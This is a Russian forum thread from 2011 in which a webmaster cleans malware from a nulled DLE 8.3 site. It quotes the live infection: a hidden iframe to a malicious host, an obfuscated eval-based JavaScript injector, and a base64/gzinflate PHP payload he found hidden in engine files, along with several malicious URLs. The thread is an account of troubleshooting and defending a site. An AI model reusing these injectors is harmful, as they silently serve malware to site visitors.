X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Вирусный код в DLE 8.3 Nulled
sergeyweber
sergeyweber
Topic Starter сообщение 13.10.2011, 20:35; Ответить: sergeyweber
Сообщение #1


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


Здравствуйте!
Не так давно обнаружил на сайте вирус, случайно, каспер унюхал:
Запрещено: http://xraysz.com/a02/jnipkzev8.php (проверка по базе подозрительных веб-адресов)    http://xraysz.com/a02/jnipkzev8.php    Ссылка обнаружена в базе

Вот и он:
<iframe frameborder=0 height=1 width=1 scrolling=no src='http://xraysz.com/a02/jnipkzev8.php'> </iframe>

Как удалить вирус?Стандартный антивирус ДЛЕ и антивирус clamav (который на хостинге) молчат.
Спасибо!.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 13.10.2011, 20:38; Ответить: Rampage
Сообщение #2


Участник
***

Группа: User
Сообщений: 240
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 68 раз
Репутация:   24  


где именно этот фрейм выводится? не решите проблему стучите в асю найдем smile.gif


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sergeyweber
sergeyweber
Topic Starter сообщение 13.10.2011, 20:41; Ответить: sergeyweber
Сообщение #3


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


(Rampage @ 13.10.2011, 19:38) *
где именно этот фрейм выводится?

да на всех страницах.
Вот и
сайт

Еще в корне паблик ХТМЛ есть два архива, c026dn1.zip и 4tp479n.zip
Вирустотал вот что выдал:
http://www.virustotal.com/file-scan/report...0edf-1318523850
http://www.virustotal.com/file-scan/report...7da3-1318523993

Сообщение отредактировал sergeyweber - 13.10.2011, 20:49
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 13.10.2011, 21:48; Ответить: Rampage
Сообщение #4


Участник
***

Группа: User
Сообщений: 240
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 68 раз
Репутация:   24  


в исходном коде не наблюдается ничего подозрительного JS тоже пересмотрел отснифал сайт ничего левого не подгружается huh.gif


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sergeyweber
sergeyweber
Topic Starter сообщение 14.10.2011, 15:05; Ответить: sergeyweber
Сообщение #5


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


(Rampage @ 13.10.2011, 20:48) *
в исходном коде не наблюдается ничего подозрительного JS тоже пересмотрел отснифал сайт ничего левого не подгружается huh.gif

уже почистил.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sergeyweber
sergeyweber
Topic Starter сообщение 3.11.2011, 22:37; Ответить: sergeyweber
Сообщение #6


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


Опять 25-ть angry.gif
Тот же сайт.
Вот что выдает каспер:
Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://fvb.lviv.ua/

Обнаружена угроза:

объект заражен Trojan-Downloader.JS.Iframe.cob

И как всегда стандартный антивирус ДЛЕ и антивирус clamav (который на хостинге) молчат.
Помог от части только Dr.Web.
Но где этот файл?http://fvb.lviv.ua//Script.8 infected with JS.IFrame.151?
Помогите!И как защитится в будующем?Спс! facepalm.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sergeyweber
sergeyweber
Topic Starter сообщение 5.11.2011, 10:44; Ответить: sergeyweber
Сообщение #7


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


С помощью этого сайта нашел код, видил я его, но забыл где.
Буду искать!
<script>var s=new String();try{document.asd.asd}catch(q){r=1;c=String;}if(r&&document.createTextNode)u=2;e=eval;m=[4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,29.5*u,18/u,4.5*u,250/u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,238/u,57*u,210/u,58*u,202/u,20*u,68/u,30*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,64/u,57.5*u,228/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,52*u,206/u,52*u,206/u,51*u,206/u,52*u,206/u,51*u,92/u,49*u,210/u,58*u,198/u,57*u,202/u,59.5*u,92/u,57*u,234/u,23.5*u,232/u,23.5*u,110/u,26.5*u,202/u,51*u,202/u,26*u,102/u,24*u,102/u,48.5*u,194/u,28.5*u,112/u,26.5*u,202/u,49*u,112/u,50.5*u,108/u,28.5*u,104/u,25.5*u,96/u,24.5*u,200/u,49*u,204/u,24.5*u,204/u,26*u,110/u,28*u,78/u,16*u,238/u,52.5*u,200/u,58*u,208/u,30.5*u,78/u,24.5*u,96/u,19.5*u,64/u,52*u,202/u,52.5*u,206/u,52*u,232/u,30.5*u,78/u,24.5*u,96/u,19.5*u,64/u,57.5*u,232/u,60.5*u,216/u,50.5*u,122/u,19.5*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,116/u,52*u,210/u,50*u,200/u,50.5*u,220/u,29.5*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,116/u,48.5*u,196/u,57.5*u,222/u,54*u,234/u,58*u,202/u,29.5*u,216/u,50.5*u,204/u,58*u,116/u,24*u,118/u,58*u,222/u,56*u,116/u,24*u,118/u,19.5*u,124/u,30*u,94/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,31*u,68/u,20.5*u,118/u,4.5*u,18/u,62.5*u,18/u,4.5*u,204/u,58.5*u,220/u,49.5*u,232/u,52.5*u,222/u,55*u,64/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,57*u,80/u,20.5*u,246/u,4.5*u,18/u,4.5*u,236/u,48.5*u,228/u,16*u,204/u,16*u,122/u,16*u,200/u,55.5*u,198/u,58.5*u,218/u,50.5*u,220/u,58*u,92/u,49.5*u,228/u,50.5*u,194/u,58*u,202/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,80/u,19.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,78/u,20.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,57.5*u,228/u,49.5*u,78/u,22*u,78/u,52*u,232/u,58*u,224/u,29*u,94/u,23.5*u,208/u,51.5*u,208/u,51.5*u,204/u,51.5*u,208/u,51.5*u,204/u,23*u,196/u,52.5*u,232/u,49.5*u,228/u,50.5*u,238/u,23*u,228/u,58.5*u,94/u,58*u,94/u,27.5*u,106/u,50.5*u,204/u,50.5*u,104/u,25.5*u,96/u,25.5*u,194/u,48.5*u,114/u,28*u,106/u,50.5*u,196/u,28*u,202/u,27*u,114/u,26*u,102/u,24*u,98/u,50*u,196/u,51*u,98/u,51*u,104/u,27.5*u,112/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,122/u,19.5*u,208/u,52.5*u,200/u,50*u,202/u,55*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u,50.5*u,204/u,58*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,232/u,60.5*u,216/u,50.5*u,92/u,58*u,222/u,56*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,23*u,194/u,56*u,224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u];with(c)mm=fromCharCode;for(i=0;i!=m.length;i++)s+=mm(e("m"+"["+"i"+']'));try{document.qwe.removeChild({})}catch(q){e(s);}</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sergeyweber
sergeyweber
Topic Starter сообщение 9.11.2011, 13:23; Ответить: sergeyweber
Сообщение #8


Новичок
*

Группа: User
Сообщений: 32
Регистрация: 18.5.2009
Поблагодарили: 0 раз
Репутация:   -5  


Не помогли мене, но помогу я! rolleyes.gif
Долгих три дня ломал голову, а все очень просто!
Декодирований код был, прячется в конце файлов:
engine\modules\sitelogin.php
engine\inc\main.php
#a8998e#
echo(gzinflate(base64_decode("1VdLT9tAEP4rlAM4DQq74/VLxr1w76W9VRyixBBLOCmOA61Q/nvjmbVn/KIJ5dKDpfV6duab1zfrm+2iyH6WX57nxdk2WacvZ9/KIls/OJO4LH6/LjeLXZ6uy9l8u6ye/WJeLlbO0+S1SHS8SEg43mf3TnFx0UgvinRept/TX+XXzTKd7BKI0yR9nj/GefLDzLzPuysdXu+uPMA1KHN40f5hGapqW1WbAIeliUjCrSQ8Y8WrLx7tV0twcdfHozPed628ll/IsH0BNBfiiWrpoiaDlqFCGaFdTZC9So8J+3oQtSaoOkJrnoVaffFJKqhOgLLuI3CDS5/3waANDlHtAgLViDkcQUFfoAoeaY96ajxVB9oG0TSuWyV+5bCvuyetnffkxcWjAXsRNrKI1a++u+pYLxG
gFwiPLRaNwGwWQIWcWYRVOa2xEsBFEUotcOmIpR7djcj7tjc6Yh8pCIQChWkbA2Ut19Eh2KgGfBlCzRF
C
2IqLBZc2LlSdYF80dPUgTNq3wdMYlvoEth1QpWLVghFVS06SjBF9SpAIdViXNdWU22pqkWxKsegCw0Zt
x
nyRDpBqOAvU1MeoCUScfdVngXatuL6wR80AspdBKoC+aq0Zo2YCU6rLNLYjAYygCGnQ1qp9gaafyEKTd
l
+2gOhj02mvaID/VCNkuwHLSnO7QLddWKCmOMSPLWubSKoOmDclL7i67vWaArv04kOPryxYEcKGeIYD5R+NB/eRuP9Cva5kfeBi56Flq8nnpHs2UaGAPzJ4IkmnIGQsZk7nKeNMTqSjaDXoZYbpri41ihuWjqs69Mr8Tr
zRq0VVGxnibrIOjQi3u61JJJ6oLriaR4nk9dCLefMLTqZ2d7tjeSBWo1kGIqGcHsIUWFLtN5sao1tPJL
p
ubm1qYm2pIrAgAhqwdGdIRM2wti7qZlMzkECMDVsp8togAgUi24bpRokZ/68MOjC7W2NEte8XVC/vAHo680pkNlMRH/akY6HUJNvqHUDHOFvCkXNvrGdHR2AEQ4x/qvoPooQWUSmRjj43DMz8t8u29UfQSnbILd2q1oE8tvhUSXaw5Nq9dZ6G+mNu2v/5H5DL5nzu1RZO5DTXdG5bprEDikvgzVvGXfySlStnMcnz5L7Y5LereXF7+FeN7zeFkyUqzj4l+ewxXT+
UqzibTifbaZLnTuqc5+fT8x+HJzufXt5dTjr/yU8v6axI881zervKHpfO637C/8yps53E+5tr+8/9Bw==")));
#/a8998e#

Все, упорство и труд все вирусы перетрут! biggrin.gif f_4866c2c501a2c.gif
Шайтан, он опять прописался в этих файлах! omg.gif facepalm.gif

Ура товарищи!
Поставил СМОД на файлы что выше и на файли шаблона логин.тпл и маин.тпл - 444.
Запустил еще один скрипт(собственный) и удалил еще одну заразу.
08.11.2011 19:52:29    Navigator    Веб-Антивирус    Запрещено: http://asdfs.bitgang.ru/t/5cd57e43b19a39e17bd920296f16d5cb (проверка по базе подозрительных веб-адресов)    http://asdfs.bitgang.ru/t/5cd57e43b19a39e17bd920296f16d5cb    Ссылка обнаружена в базе

Вот и все, я надеюсь! cool.gif

Сообщение отредактировал sergeyweber - 8.11.2011, 16:30
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
278 kaartes 102810 14.12.2017, 10:55
автор: kukla
Открытая тема (нет новых ответов) Адаптивная вёрстка и натяжка на Wordpress, DLE, Joomla и др. Создание мобильных версий.
Хороший код с оптимизацией по скорости. Сайты и лендинги "под ключ
15 Nell 1165 13.12.2017, 23:36
автор: Nell
Горячая тема (нет новых ответов) Услуги по CMS Wordpress, DLE, Joomla!. Правки, ремонт, настройка.
Редактирование и правки. Низкие цены.
142 contex1 65176 5.12.2017, 12:13
автор: contex1
Открытая тема (нет новых ответов) Требуется так сказать оптимизация шаблона DLE
5 Deadman_n 419 2.12.2017, 13:24
автор: Deadman_n
Открытая тема (нет новых ответов) Перенос сайта с DLE на WordPress
3 mdobyshev 872 30.11.2017, 7:29
автор: Nell


 



RSS Текстовая версия Сейчас: 16.12.2017, 20:52
Дизайн